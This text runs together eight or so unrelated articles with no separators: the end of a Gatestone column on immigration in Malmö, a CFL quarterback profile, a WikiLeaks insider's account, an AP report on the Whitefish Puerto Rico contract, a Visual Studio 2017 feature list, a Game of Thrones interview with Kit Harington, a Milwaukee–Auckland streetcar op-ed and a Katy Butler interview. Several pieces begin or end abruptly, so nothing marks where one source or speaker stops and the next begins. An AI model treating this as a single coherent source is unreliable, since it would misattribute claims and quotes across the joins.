well. Nima Gholam Ali Pour is a columnist for the Swedish social-conservative website Samtiden, and is a member of the board of education in the city of Malmö, Sweden. [1] Områdesfakta Malmö stadskontor 1996. [2] In elementary schools, for example, in 2013-2014, 82% percent of students with ethnic Swedish parents completed all subjects after finishing the 9th grade; but among students born in Sweden and with an immigrant background, the number was 70% percent. Among students with an immigrant background but born abroad, the figure was 52 percent. Unemployment among people born in Sweden is 6%, while unemployment among the foreign-born is 16.6 percent. [3] Sweden has a large public sector, and the city of Malmö has 23,000 employees. This political goal, therefore, makes a difference in many people's lives in a city where the total population is 318,000. In 1996, only 34% of the population of Fosie had immigrant background; in December 2012, 66% percent of Fosie's population had immigrant background. Areas in Malmö have had a similar development. In 1996, 74% of Rosengård's population had an immigrant background; in December 2012, that number had risen to 88%. An immigrant background means that one either was born outside of Sweden or has two parents who were born outside of Sweden. [4] Beyond the Melting Pot, by Daniel P. Moynihan and Nathan Glazer. [5] Sweden has an "anti-racist" movement that is very close to the Swedish Social Democrats, The Left Party and The Green Party. Many board members in the anti-racist movement are prominent members in these three parties. The anti-racist movement also works as a channel between these three parties and immigrants' and religious organizations that are part of the anti-racist movement. Mostly the Swedish ant-racist movement uses "post-colonial rhetoric," which means that they try to say that Swedes or Westerners are racists because Swedish and Western culture has always been racist and must be deconstructed. Follow Nima Gholam Ali Pour on Twitter and Facebook © 2019 Gatestone Institute. All rights reserved. The articles printed here do not necessarily reflect the views of the Editors or of Gatestone Institute. No part of the Gatestone website or any of its contents may be reproduced, copied or modified, without the prior written consent of Gatestone Institute. Related Topics: Sweden Recent Articles by Nima Gholam Ali Pour Sweden's Government Funds Anti-Semitism, 2018-08-10
Sweden's Increasingly Lawless Immigration Policy?, 2018-04-25
Sweden: Not Everyone Can Say #MeToo, 2018-01-11
Sweden's New Instability, 2017-09-14
"I was going to buy some popcorn, because you can’t watch a movie without popcorn, and this lady comes up with her husband and kids and says ‘I wish you all the best this year and I recognized you because of your hair,"’ the Montreal Alouettes quarterback said Wednesday.
"So my hair’s the most recognizable thing. I can’t hide it."
Crompton hopes to be more than just a wild hairdo as he enters his second season with the Alouettes after a see-saw 2014 campaign. He was cut in training camp by the Edmonton Eskimos in May, but then signed in mid-season just in time to help Montreal turn around what had been a disastrous campaign.
The 27-year-old was not the most elegant pivot, completing 58.1 per cent of his passes for a so-so 85.2 quarterback rating. But he took over as starter on a 1-7 team and helped them finish a respectable 9-9.
He also led Montreal over British Columbia in the East semifinal before losing a week later to Hamilton.
This year, Crompton will have the benefit of a full training camp and go into the season for the first time as the incumbent starter.
"We’re still a long ways from training camp and we’ve got a lot of work to do," said Crompton, in town for a week-long visit. "We need to get ready for mini-camp in April.
"The organization has to go through the draft and all that. But we’re excited. We’re looking forward to the opportunity ahead. It can’t come fast enough."
Quarterback was a nightmare position last season as the Alouettes tried to find a replacement for retired CFL all-time passing leader Anthony Calvillo.
They thought their guy would be Troy Smith, but the 2006 Heisman Trophy winner struggled to complete passes and rarely ran the ball. The team also didn’t win with Tanner Marsh or Alex Brink behind centre.
Crompton was fourth on the depth chart when he signed a three-year contract in July.
His arrival came just after general manager Jim Popp brought in two coaches, former quarterbacks Jeff Garcia and Turk Schonert, to help inexperienced offensive co-ordinator Ryan Dinwiddie.
They liked what they saw in Crompton, who had eight appearances in 2013 as backup to Mike Reilly in Edmonton. He saw his first action as an Alouette on Aug. 22 when he relieved Brink in the second quarter of a 24-16 loss to Winnipeg. The Asheville, N.C., native looked sharp as he passed for 266 yards.
The next week, he got his first CFL start in a win over Ottawa to start the Alouettes on an unlikely climb back to respectability. Including playoffs, the club went 9-2 with Crompton as the starter.
Now he wants to keep it going.
"I’m not going to change the way I prepare now that I’m the starter," he said. "I prepared the same even when I wasn’t the starter.
"My mindset hasn’t changed a bit. Right now, I’m just enjoying the off-season with my family, working out and staying focused."
He should also benefit from greater stability in the organization. Last off-season, the Alouettes took until late in the winter to name Tom Higgins as head coach get the rest of the staff in place. It took nearly half the season for the staff to be settled.
Higgins is back, with defensive co-ordinator Noel Thorpe as assistant head coach, while Kavis Reed will handle special teams. Schonert was promoted to offensive co-ordinator as well as quarterbacks coach, filling in for Garcia who left the quarterbacks position at the end of the season. Dinwiddie remains as an offensive assistant coach along with Calvillo, who will make his coaching debut.
"It’s different not having someone you worked with every day, but this is a business," said Crompton. "I haven’t had back to back (position) coaches since high school.
"It’s always a changing environment, so we try to keep it as constant as possible within ourselves. We wish Jeff the best. He helped me out tremendously, mentally and physically. But now my focus is on this year."
Another change is that the long hair will soon be gone. He has already promised it to the Locks For Love campaign, which supplies wigs to kids with cancer.
But hair has become his signature feature, so he has vowed to grow it back.
Around the dining table the team sketched out a plan for the coming months, to release the leaked US diplomatic cables selectively for maximum impact. Phase one would involve publishing selected – and carefully redacted – high-profile cables through the Guardian, New York Times, Der Spiegel, Le Monde and El Pais. Phase two would spread this out to more media organisations.
But clearly a large volume of cables would remain, of little interest to any media organisation. Several at the meeting – myself included – stressed these documents, which would probably number hundreds of thousands, could not be published without similar careful redaction. Others vehemently disagreed.
Johannes Wahlström, Swedish journalist and son of antisemitic WikiLeaks activist Israel Shamir, shouted: "You do realise the idea of not putting ALL of these cables up is totally unacceptable to people around this table, don't you?"
Julian took Wahlström's their side. One way or another, he said, all the cables must eventually be made public.
There were further disillusioning incidents. During December 2010, a period where WikiLeaks was struggling to muster even a $10,000 donation to the defence fund of Bradley Manning, the US soldier alleged to have leaked the cables, Assange nevertheless privately promised several thousand Australian dollars to fund Juice News, the makers of humorous pro-WikiLeaks YouTube videos.
Julian's arrest loomed, on allegations of sexual assault. Aware he would need money to post surety, he scrabbled for sources of cash. He attempted to access WikiLeaks funds, received through donations.
He approached the Wau Holland Foundation, which manages the bulk of WikiLeaks' finances, to ask for substantial funds – for "the future of WikiLeaks". Quite properly, it refused, as Julian's personal legal action was not one of the stated purposes of the donations.
Assange also tried to obtain the cash held by WikiLeaks' Icelandic division, asking the directors to sign a form authorising the transfer of their (much smaller) coffers.
When I asked one of them whether such a transfer was legal, he replied "I have no idea" – but signed anyway.
In the event, Julian mustered funds from celebrity backers. But trying to use WikiLeaks' precarious resources to fight a personal legal action was, to my view, morally indefensible.
WikiLeaks is not a conventional organisation. It has no board, no governance, and no effective rules. In such a febrile environment, and with Julian so central to the organisation's ability to function, it's not hard to see how such decisions came to be seen as correct.
So I decided to grit my teeth and carry on. Dismay mounted, however, with the arrival of Israel Shamir, a self-styled Russian "peace campaigner" with a long history of antisemitic writing. Shamir was introduced to the team under the pseudonym Adam, and it was only several weeks after he had left – with a huge cache of unredacted cables – that most of us started to find out who he was.
Press enquiries started to trickle in. A little research revealed his unsavoury history, but I was told Julian would be unwilling for WikiLeaks to publish anything critical of Shamir. Instead, shamefully, we put out a statement simply distancing WikiLeaks from him.
There followed even more damning allegations. Shamir had been seen leaving the interior ministry of Belarus, an eastern European dictatorship.
The next day, the country's dictator, Alexander Lukashenko, boasted he would start a Belarusian WikiLeaks showing the US was funding his political rivals.
Scores of arrests of opposition activists followed the country's elections – but Shamir wrote a piece painting an idyllic picture of free, fair, elections in a happy country.
Human rights groups demanded answers, amid fears that Belarus may have received material from the cables. No answers were supplied. Julian would not look into the matter.
For an organisation supposedly devoted to human rights, the apparent lack of concern when faced with such a grave charge was overwhelming.
My trips to WikiLeaks' HQ became far less frequent, and I attempted to leave the organisation early. This was refused. I was cornered for several days and asked to sign a gagging agreement.
Supporters were asked to "apply psychological pressure" to encourage me to sign, evidencing a growing cultlike ethos at the centre of the group.
I was disturbed and conflicted. I still found the organisation's aims were in many ways laudable, the financial and legal pressures unjust, and its publishing pattern far more responsible than it received credit for.
I couldn't support its internal culture, its lack of accountability, willingness to lie publicly, and crucially its failure to condemn Shamir. I supported the organisation's principles, but not its methods.
The final straw for me came on Friday. By drawing attention to, and then publishing in full, the unredacted cache of documents, WikiLeaks has done the cause of internet freedom – and of whistleblowers – more harm than US government crackdowns ever could.
Before the first publication of carefully redacted cables, human rights activists, NGOs, and organisations working with victims of horrific crimes contacted WikiLeaks begging us to take steps not to publish any names. To be able to assure them details would be protected was an immeasurable relief.
WASHINGTON (AP) — The Trump administration scrambled Friday to distance itself from the decision to award a $300 million contract to help restore Puerto Rico’s power grid to a tiny Montana company from Interior Secretary Ryan Zinke’s hometown.
The White House said federal officials played no role in the selection of Whitefish Energy Holdings by the Puerto Rico Electric Power Authority.
The administration disavowed the contract amid a growing number of investigations and a bipartisan chorus of criticism from Capitol Hill.
Trump spokeswoman Sarah Huckabee Sanders said Zinke had given the president his personal assurance that he had nothing to do with what she described as “a state and local decision made by the Puerto Rican authorities and not the federal government.”
The interior secretary also issued a fiery denial on Twitter, saying “Only in elitist Washington, D.C., would being from a small town be considered a crime.”
Whitefish Energy Holdings is headquartered in Whitefish, Montana, which has a population of about 7,200. Zinke, a former Montana congressman, knows Whitefish CEO Andy Techmanski. Zinke’s son also had a summer job at a Whitefish construction site.
“I had absolutely nothing to do with Whitefish Energy receiving a contract in Puerto Rico,” said Zinke in a statement linked to a tweet. “Any attempts by the dishonest media or political operatives to tie me to awarding or influencing any contract involving Whitefish are completely baseless.”
Zinke acknowledged that after the company’s initial contract was awarded, he was contacted by the company, though he did not give the name of the individual who reached out to him. Zinke said he took no action and that all relevant documents would be disclosed to “appropriate officials.”
“I welcome any and all investigations into these allegations,” Zinke said.
The Department of Homeland Security’s inspector general, an agency watchdog, confirmed Friday that federal auditors will review the Whitefish contract.
“As part of their standard procedure, they will conduct vetting to look for the presence of any inappropriate relationships,” said Arlen Morales, a spokeswoman for the inspector general’s office.
The Federal Emergency Management Agency, which is part of Homeland Security, said it has not approved any reimbursement requests from the utility for money to cover ongoing repairs to the island’s power grid following Hurricane Maria.
FEMA said in a statement that any language in the controversial contract saying the agency approved of the deal with Whitefish is inaccurate. The contract said the utility would not pay costs unallowable under FEMA grants, but it also said, “The federal government is not a party to this contract.”
The agency said its initial review raised significant concerns about how Whitefish got the deal and whether the contracted prices were reasonable. The 2-year-old company had just two full-time employees when the storm hit Sept. 20. It has since hired more than 300 workers.
A price list attached to the Whitefish contract reviewed by The Associated Press sets rates for both workers and equipment to be paid by the utility: $20,277 an hour for a heavy lift Chinook helicopter, $650 an hour for a large crane truck, $322 an hour for a foreman of a power line crew, $319 an hour for a journeyman lineman and $286 an hour for a mechanic. Each worker also gets a daily allowance of $80 for food, $332 for a hotel room and $1,000 for each flight to or from the mainland.
Multiple congressional committees have opened investigations into the deal, the terms of which have triggered questions from both Republicans and Democrats. Sen. Claire McCaskill of Missouri, senior Democrat on the Senate Homeland Security and Governmental Affairs Committee, said the Whitefish contract “raises every red flag in the book.”
Democrats also raised questions about the role of HBC Investments, a key financial backer of Whitefish Energy. The Dallas-based company’s founder and general partner, Joe Colonnetta, has contributed thousands of dollars to Trump and other Republicans, including Energy Secretary Rick Perry, a former Texas governor, and Texas Sens. John Cornyn and Ted Cruz. Colonnetta also gave to Trump’s inauguration.
Whitefish spokesman Chris Chiames called Colonnetta’s political donations “irrelevant.” The company said it would cooperate with any information requests from federal authorities.
“We are very proud of the work we are doing to restore power to the people of Puerto Rico under very difficult circumstances, and we respectfully ask that others await the facts before jumping to misinformed conclusions,” the company said in a statement issued Friday. “We have one simple goal — to restore power to Puerto Rico as quickly and efficiently as possible.”
Puerto Rico Electric Power Authority director Ricardo Ramos has praised the work performed so far, saying the company’s was the only offer the utility received that did not require a down payment. The power company is $9 billion in debt and was already struggling to provide service amid ongoing power outages before hurricanes Irma and Maria hit last month.
“There is nothing illegal going on here,” Ramos said Thursday.
A federal control board that oversees Puerto Rico’s finances said this week it had appointed a former military officer to oversee the work. Retired Air Force Col. Noel Zamot will be responsible for speeding up reconstruction efforts and overseeing coordination with the board, Puerto Rico’s government and the federal government.
It was not immediately clear whether Zamot would have the authority to void Whitefish’s contract, although under the contract the utility can suspend or terminate the contract “for any or no reason” after providing written notice to Whitefish and compensating the company for actual expenses.
About 75 percent of the U.S. territory remains without power more than a month after the Category 4 storm made landfall.
Puerto Rico Public Affairs Secretary Ramon Rosario told reporters on Friday he wasn’t familiar with the contract’s details when asked why it includes a clause that prohibits an audit or review of “the cost and profit elements of the labor rates.”
Rosario said only that Puerto Rico’s governor already has requested an audit and that the government will turn over all pertinent documents.
“There obviously needs to be transparency,” Rosario said. “If anyone did anything illegal, let them fry in jail.”
Associated Press writers Danica Coto in San Juan, Puerto Rico, Ben Fox in Miami and Ken Thomas in Washington contributed to this report.
Visual Studio 2017 Features
There are following new Visual Studio 2017 Features.
Installation
In visual studio 2017, new installer will provide you better experience than previous one.
You can install the features easily that you need.
You can install it more quickly with very less system impact.
You can uninstall it very cleanly.
When you will install the visual studio 2017 , you will see the new look with great user experience.
, you will see the new look with great user experience. You can add one or more workloads (Frameworks, Languages, Platforms )
You can report suggestions or problems using provide a Suggestion and Report a Problem commands using new installer.
You can now get GitHub extension for visual studio in the new visual studio installer.
Note:- You will see .NET Core, Xamarin, Python as Preview quality visual studio 2017.
Feedback Workflow
You will see the better feedback experience in visual studio 2017. You will see a more collaborative Report a Problem experience in visual studio 2017. You can now follow, Vote, Search and get the latest updates on all the feedback that you have provided.
Boosted Productivity in IDE
Visual Studio 2017 RC has been optimized to reduce startup time and solution load time at least 50% then very first launch of Visual Studio.
Visual studio 2017 RC will now help you to monitor extension performance using notification bar in the IDE, that impacts startup, solution load and editing.
In Visual studio 2017 RC, file globbing capabilities for ASP.NET Core and .NET Core projects have been enhanced.
In Visual Studio 2017 RC, account setting dialog is now more accessible to screen reader.
You can now dismiss “Get Started” section in start page.
You can now create a new project directly from start page with searchable templates.
You can now quickly launch the new clone from VSTS experience through the “Checkout from VSTS” option in the start page.
The news section is now collapsible in Visual Studio 2017 RC.
Live Unit Testing
Live unit testing is the new feature of Visual Studio 2017 RC. It is only present in the Enterprise edition of the Visual Studio 2017 RC. This feature will help you to visualize unit test results and code coverage live on the editor, whoile you are coding. It works with C# (C Sharp) and VB (Visual Basic) projects for .NET framework. It supports with three test framework of xUnit, MSTest, and NUnit.
Note:- Live Unit Testing is an early preview of this feature and it has several known issues.
Live Architecture Dependency Validation
In Visual Studio Enterprise 2017, if you have setup Dependency Valaidation diagrams. Then you now get real time notification violations of architectural dependency rules as you type code in the code editor. Errors appear in the error list. Squiggles in the text editor show the precise location of this violation.
Intellisense Filtering
Intellisense filtering is enhanced in visual studio 2017 RC. It makes it much easier to use. It makes long lists much more manageable. If you need a variable, than you don’t need to write too much to get to it. For example, if you want to write ‘sizeOfAnotherBuffer’, you just need to write ‘size’ and intellisense will show the best matching result for you. But with features like CamelCase search you only need to type in the 2 letters in capitals for IntelliSense to appropriately filter results for you that match two different words with those letters capitalized. So, Intellisense is much smarter now then previous versions, it will select the best matching result from the list instead of simply picking the top result.
All the filters have very convenient keyboard shortcuts. If you are typing C# code, then Alt+P to filter down to properties and Alt+M to filter out extension methods.
Code Navigation
Code navigation is the significant feature in Visual Studio 2017 RC.
Go To (Ctrl +, Ctrl + T) is very fast, complete search that lets you easily and quickly find files, methods, types, and other elements in your code. It gives you a one-stop way to go to any kind of item you need, even in a large and complex code.
Find all References (Shift + F12) helps you get around fast even in really complex codebases, providing advanced grouping, filtering, sorting, searching within your reference results. For C# and VB, results are colorized just like they are in the editor. So, you can get a clear understanding of your references and you can get line of code you need.
Structure visualizer helps you to have a clear understanding or sense of where you are structurally in your code when reading. Structure visualizer is the key feature of visual studio 2017 RC. Structure Visualizer draws structure guide lines on your code, so you can easily visualize and discover what block of code you are in at any time without needing to scroll.
Debugging
Run to click is a great feature. With run to click there is no need to set temporary break points. Once you start the debugging, you will see a green glyph icon on the left. So, simply click on it to run your code till that point. On the other hand you will see another glyph on the right. This right glyph is for pref tips.
Click here to see debugging.
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Spoilers ahead for Sunday night’s episode of Game of Thrones.
Kit Harington couldn’t wait for you to find out.
As the actor who’s played Jon Snow for five seasons, he’s been talking about the show for months during the press tour, all the while not talking about the one thing he wanted to address the most. He’s even kept his hair long and his beard grown out, just so he wouldn’t spoil anything by stepping out with a new ‘do.
“It’s like I’ve been sitting on this big fucking secret,” the actor said with a sigh of relief when Vulture sat down with him at New York’s Crosby Street Hotel on a day he was promoting his latest film, Testament of Youth. “I’ve had to watch what I say, but it’s a big moment, it’s a beautiful ending, and it’s how I wanted to go.”
Readers of George R.R. Martin’s A Song of Ice and Fire series have been bracing themselves for Jon Snow’s death for a while, even while insisting the passage in the books where the mutiny happens could be interpreted as a cliffhanger. Even Harington himself didn’t want to believe it when he first read A Dance With Dragons. Long before he got the finale script, he theorized that Martin wouldn’t kill off Jon Snow, not without resolving the mystery of his parentage. When we discussed it last year, Harington told me, “One reason I don’t think he dies is that he hasn’t found out who his mother is … He’s got to. It would be unfair if he didn’t. We just need to see him find out.” He added, “I’d love it if Jon was important for the end, I really would.”
Harington is less sentimental now: “Jon dies,” he said with a grin. “It’s final. He’s dead.”
Like Harington, many believe the mystery of Jon Snow’s mother (and father) is central to the story, and that Jon — a brooding bastard with a romantic past — had a hero’s destiny ahead of him. His face launched a thousand theories (he was the song of ice and fire personified). But what cemented his survival in book readers’ minds, beyond any evidence in the text, was the fact that showrunners David Benioff and Dan Weiss had to pass Martin’s quiz about the identity of Jon Snow’s mom in order to move forward with the adaptation. Jon Snow had to survive, somehow. The show wouldn’t have to go this way, right?
“Yeah, they went that way,” Harington laughed, grabbing a handful of M&Ms. “They’re going to have to stick with the books to some extent, you know? And this is Game of Thrones. This is the most depressing TV show in history. I mean, it’s kind of crushing that in episode eight, they build Jon up to be the hero. He finally gets this heroic moment, and the world watching Thrones goes, ‘Ah! Hope!’ And then … dashed. I know. It sucks,” he laughed. “Right?”
The men of the Night’s Watch and the wildlings won’t stand a chance against the White Walkers and the army of the dead unless they unite, but putting their past grievances aside is easier said than done. And while Snow is a great fighter, he’s not always a great talker, or a great listener. As Lord Commander, he’s missed the moments he could have spent listening to people, hearing them out about how they feel disenfranchised by his decisions.
“It’s actually Jon’s fault,” Harington said, leaning forward, keen to analyze this point. “He’s concentrating on the big picture, missing the little hints all around him. If you let a whole bunch of fucking wildlings through your gates, it’s like Israel letting through a whole bunch of Palestinians, or Palestine letting through the Israelis. It’s two warring factions who hate each other, and so you’re going to have dissent, and that dissent comes in its fiercest form, with the final blow.”
To put a human face on this dissent, the showrunners created the character of Olly, a little boy who watched the wildlings massacre his village — Ygritte killed his dad, a cannibalistic Thenn offered to eat him. Olly ran to Castle Black for safety and became Snow’s protégé. Harington called it a “stroke of genius” when the writers made the decision to have Olly kill Ygritte — a moment of retribution, but not enough to satisfy him. And Olly, who kills Snow in the end, isn’t the only one who had a problem with his mentor’s master plan, even if the men of the Night’s Watch had somewhat accepted it. In the books, they eventually mutiny, and Snow is stabbed by multiple men. Here, we get something more personal. “It’s the Julius Caesar moment,” Harington said. “‘Et tu, Brutus?’ It’s lovely. It’s like, ‘Not you! Anyone but you! I could take all the stabs from all the other people, and I’ll look them in the eye and I’ll understand. But not you! Not innocence!’ So it has to be Olly. It wouldn’t have the impact if it’s not him.”
Snow’s death scene wasn’t Harington’s last scene to shoot, “annoyingly.” Instead, he got a “teeny little inside scene with Olly” for his final moment on set, and Brenock O’Connor, who plays Olly, was freaking out about a possible backlash. “He’s shitting his pants,” Harington chuckled. “He’s like, ‘Everybody’s going to hate me!’ Yeah, dude. Welcome to show business.”
But before fans react, or overreact, we thought we should address some of the stages of grief here, the first of which will be denial. Many a fan has come up with ways Snow could technically still be alive or be resurrected, and we don’t want to rule them all out, either, not just yet. John Bradley, who plays Snow’s BFF and maester-in-training Sam Tarly, phoned in to help us do so. One by one, he addressed the predominant theories.
Kit Harington (left) and John Bradley in Sunday night’s finale. Photo: Helen Sloan/HBO
1a. Warging into Ghost. “No Ghost!” Harington laughed. “I’ll flag that one right there,” Bradley said. “I’m not sure if a lot of people love Jon Snow, or if they actually just love Kit Harington’s portrayal of Jon Snow. I don’t think a lot of people would be perfectly happy if Jon Snow was now played by a dog, if it’s a dog with Longclaw strapped to his back.” Think of all the global commercial and merchandising opportunities that would be lost, Bradley pointed out. “A dog is not going to have the same global sex appeal, unless you’re an absolute nutcase.”
1b. Warging into another human. Same problem as above, since we would lose Harington, “unless he wargs into somebody more attractive,” Bradley said. And given the selection of men available at Castle Black (excluding Bradley, since Sam is off to the Citadel), that’s not too likely. “It’s a slightly outlandish possibility” for a long-term solution, Bradley said. After all, Bran can only warg into Hodor on a temporary basis, and when one character who can warg in the books is dying, it doesn’t work out well for him: Varamyr Sixskins tries to take over another human being so he can live on, but the occupying soul wrestles with him and ejects him from her mind.
2. Red priestess intervention. Thoros of Myr was able to resurrect Beric Dondarrion, so shouldn’t Melisandre have similar abilities? And couldn’t she use a win at this point? “If I was Melisandre’s campaign adviser, her spin doctor, if I were in her ear advising her, I would say, ‘You killed a child. Bring Jon Snow back, and you might get the people back on your side,’” Bradley said. “She’s magic. She can do anything she wants.” The problem is proximity, however, so Bradley judges this one as “impossible.”
3. White Walker intervention. This is one scenario that would allow us to keep the actor, but at the cost of losing the character, including his heroic nature. “To keep what people like about Jon Snow, you need to keep Kit, and you need to keep the character the same,” Bradley said. “Otherwise, he’s just an update, an iTunes update of Jon Snow. It’s not the same. I don’t think people will be satisfied.” Unless … Snow becomes a version of the book character Coldhands, a mysterious, resurrected being on the side of humanity. “We’ve all been waiting for that character,” Bradley enthused. And this option seemed to be the most attractive one to an admittedly “vindictive” Bradley, simply because it would require Harington to “get up at 4 a.m., drive an hour, and sit in makeup for five hours. That would really, really ruin his night’s sleep,” he laughed. “I don’t want Kit to get any sleep.”
But whatever happens to Snow on the show from here on out, Harington said he’s not involved. He’s had “the chat” with Benioff and Weiss, he’s had the big sendoff, he’s had the “little cry,” and he considers the matter “pretty closed.” He might keep his hair long for other roles (it’s easier than trying to regrow it out if need be), but he’s planning to shave the beard so he can be “baby faced” — a refreshing change of pace. Anything that happens to Jon Snow’s soul or body (… or dare we say corpse?) from here on out, “that’s up to ol’ Dan and Dave.”
No city has an exact twin. But I may have found as near a twin as Milwaukee is likely to get in the city of Auckland, New Zealand. I’ve lived in metro Milwaukee since 1990 and have had extended stays in New Zealand since 2013. In looking at a “twin,” we in Milwaukee might draw a lesson or two about ourselves, including where we’ve come from and where we might want to head, especially vis-à-vis streetcar service.
Auckland was founded in 1840, Milwaukee in 1846. Auckland’s metro population is more than 1.52 million, while metro Milwaukee’s four-county population is about 1.57 million. Auckland isn’t the capital of New Zealand (Wellington is) but it’s New Zealand’s financial and commercial capital, just as Milwaukee is Wisconsin’s. Milwaukee faces Lake Michigan; Auckland faces the Pacific to the east and the Tasman Sea to the west. Streetcar service was discontinued in Auckland in 1956 and in Milwaukee in 1951. After 1956 Auckland until about 2000 followed pro-automobile policies. Even now investment in urban freeways is occurring in Auckland. Milwaukee’s situation is comparable, with heavy recent and current investment – the rebuilds of the Marquette, Mitchell, and Zoo interchanges come to mind – in freeways.
The topic of streetcars entered public discussion in Auckland just since mid-January when Auckland Transport (the transport enterprise arm of Auckland government) proposed considering a ‘tram’ (i.e. a streetcar) service on Auckland’s main thoroughfare, Queen Street. This proposal, while it came like a bolt out of the blue, was in no sense foreign to New Zealand, not the way Mr. Barrett’s streetcar proposal may seem foreign to Milwaukee.
That’s because New Zealand – at least at the national level — never went whole hog for motor transport the way we did in the U.S. after WWII. New Zealand is petroleum poor and thin in population (though Auckland is slated to more than double its population by 2030). Only 2 percent of the State Highway System – New Zealand’s national highway system – comprises freeways and those are mostly in and around Auckland. In the U.S., by contrast, we not only embraced the Interstate Highway System, we introduced that system and, more generally, the idea that freeways are the virtual end-all-answer to almost every urban transport question in almost every American city.
Kiwis hedged their bets under both National (conservative) and Labour (liberal) governments. The Nationalists sponsored the electrification of the North Island Main Trunk Railway as part of a “Think Big” effort to reduce dependence on imported petroleum. Apparently transcending partisan lines, about 15 years ago the powers-that-be in Auckland decided that public transport needed an infusion of new investment, not least to cope with prospective population growth. A multi-modal strategy supplanted Auckland’s previous auto-focused strategy.
Among other things, a decision was made to relocate the head station of Auckland’s metropolitan (mainline) rail network to the abandoned central post office on Queen Street, right in the Central Business District (CBD). The Britomart Transport Centre, as it’s called, opened in 2003. In the following 10 years annual ridership on the metro rail network went from 2 million to 10 million. Subsequently that network has been undergoing electrification (to permit faster, quieter, cleaner train operations). Moreover Auckland’s current mayor is committed to building a so-called ‘City Rail Link’ (beyond Britomart) to better serve Auckland’s CBD and to enable the metro rail system to carry 20 to 30 million passengers annually.
Auckland politicians and the national politicians disagree on who should pick up the tab for the Link (Auckland’s population is a third of New Zealand’s population). But the Link is likely to be built, given the city’s growth prospects and its constricted, isthmus geography. Pro-highway interests are unlikely to derail the momentum, anymore than pro-streetcar forces in Milwaukee could thwart, say, the rebuilding of the Zoo Interchange. There’s only so much money available for big projects and in Auckland the greater momentum is now with metropolitan rail service.
In Milwaukee, and in the States, the momentum has been toward roadway-centered projects in most places most of the time. The tragedy in Milwaukee is that back in the 50s and 60s the powers-that-be placed all bets on roadway-centered transport. We’re living with a situation that’s hard to turn around, not least because so many costs of public roadways aren’t readily apparent and aren’t covered by road users.
My sense is that Mayor Barrett’s current efforts will bear some fruit, as opposed to prior, Sisyphean efforts. Milwaukee will finally get at least some rail-technology urban transport: namely, a streetcar service in the CBD. It will be very difficult to build on the streetcar core outside the CBD, because the predominant institutionalized interests and funding structures are geared for non-rail-technology projects.
But going forward perhaps Milwaukee can learn a thing or two from its near twin in New Zealand. Auckland Transport, an arm of Auckland’s government, functions as an enterprise, which in turn contracts with operators of bus services, the metro rail service, ferry services, as well as overseeing all Auckland roadways outside the State Highway network. In some ways Auckland Transport functions as a regional transport authority (RTA), an authority that Southeastern Wisconsin has been unable to form. In some ways it’s like a business enterprise.
With or without an RTA in metro Milwaukee, every effort should be made for the streetcar service to be run like an enterprise, rather than as a department within, say, Milwaukee city government. As an enterprise, especially as a legally incorporated (non-profit) enterprise, a streetcar service can be or is more likely able to be:
Focused on acquiring and satisfying customers regardless of whether or not they’re Milwaukee citizens.
Agile because less bureaucratic, able to enter contracts without the constraints of a governmental department.
Less enmeshed in political issues having no relevance to its service (and therefore less likely to be held hostage to political horse-trading).
More transparent because better defined, with financial results reportable through well-established (non-profit) business accounting practices.
Able to engage “outsiders” on its board, a plus in any event, but even more so if there’s any hope of the streetcar service reaching beyond Milwaukee’s municipal boundaries.
Creating an enterprise structure is as important as identifying initial streetcar routes in founding a fruitful streetcar service.
Time will tell and others must now decide whether any of this will happen. Auckland has decided to give itself robust transportation options. Will Milwaukee begin to do likewise?
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As recently as the 1960s, “medicine did not routinely stave off death among the very old,” journalist Katy Butler points out in Knocking On Heaven’s Door, her new book about modern medicine’s tendency to overtreat, particularly at the end of people’s lives. Butler chronicles the deaths of her parents—her father’s slow decline after a debilitating stroke and her mother’s refusal to succumb to “Hail Mary” surgeries—and in so doing offers an unflinching look at the “perverse economic incentives” that reward doctors for procedures over humane care.
An expansion of Butler’s 2010 New York Times Magazine piece about her family’s attempts to get her father’s pacemaker turned off after a stroke leaves him increasingly incapacitated, the book deftly toggles between her family’s relationships and end-of-life struggles, and the history of our shifting attitudes towards death and rise of technologies that are meant to extend life but often lead to suffering. Butler also offers an antidote of sorts—a Slow Medicine movement that emphasizes “care over cure.” I caught up with the author to talk about her daughterly regrets and tackling a subject that most of us would rather to avoid.
Mother Jones: People are often told they should have these conversations about how they want to die before they are medically incapacitated. But what if they change their minds after the fact?
Katy Butler: I don’t think people ever were free of fear of death, but clinging to life and being so unprepared for it is a modern experience. Our ancestors actually read books about how to prepare for death. It was considered your moral obligation to be prepared for your deathbed and to able to face it with equanimity. We offer such false hopes to people that every medical problem can be fixed even when you’re starting to deal with an 80- or a 90-year-old body that is breaking down in multiple ways and doesn’t have that resilience. And so it doesn’t surprise me that someone who is completely unprepared for death may say, “Doc, do everything.”
Because I saw what my parents went through, I take very seriously the suffering of people from “ambiguous loss,” where the person you love has basically gone, and yet you can’t fully grieve because their body is still there. It’s certainly possible that I could have a terrible car accident and become so badly brain damaged that I don’t care about the burden that I’m placing on other people, but I don’t want that brain-damaged self to be the decision maker. I want the person that I am now making those legal decisions.
MJ: What do doctors say about all of this?
KB: I’ve heard doctors say that before the crisis hits, people don’t want prolonged measures, but then in the middle of the crisis they want everything. I think it’s very interesting that [doctors] privilege the self that is saying, “I don’t want to die,” but want to discount the self that said, “I want to allow natural death in such a situation.”
“Attempting to grapple with improving end-of-life care is a political third rail.”
MJ: How does one draw the line on how much care is appropriate?
KB: When my mother and I were walking through this process with my dad, I really felt that we were groping through the fog. I felt absolutely no sureness that what we were doing was right at any particular moment. It’s only in retrospect that I am comfortable with what we did and didn’t do.
MJ: What might you have done differently?
KB: I wish I had been braver and more proactive and had a long meeting with my parents’ family-medicine doctor, who was opposed to putting in the pacemaker, even if we’d have to pay out of pocket because Medicare doesn’t cover a long conversation about these issues. My parents might still have decided to put in the pacemaker, but I think I would have a lot more peace of mind that we hadn’t been shuffled into this decision. And once the original cardiologist refused to turn off the pacemaker, if I had simply known how to research better, I think we probably could have found a cardiologist who would have been wiling to deactivate the pacemaker and save my father a couple of years of suffering, possibly.
MJ: Can we expect healthcare reform to accomplish anything in this area?
“Almost anyone you talk to will say, ‘I don’t want to die plugged into machines.'”
KB: Attempting to grapple with improving end-of-life care is a political third rail. Let’s spend less on trying to fix the unfixable in the last five years of life and spend more supporting people so that they can stay the least disabled as they possibly can, the most independent as they possibly can, and keep them at home. Although there are some changes in that direction, the healthcare act is sort of like a first pass. It was put together with the cooperation of all the players, but the caregiver associations are not as powerful as the medical device makers.
MJ: What is your response to the “death panels” argument, the claim that doctors would determine which patients are worthy of care?
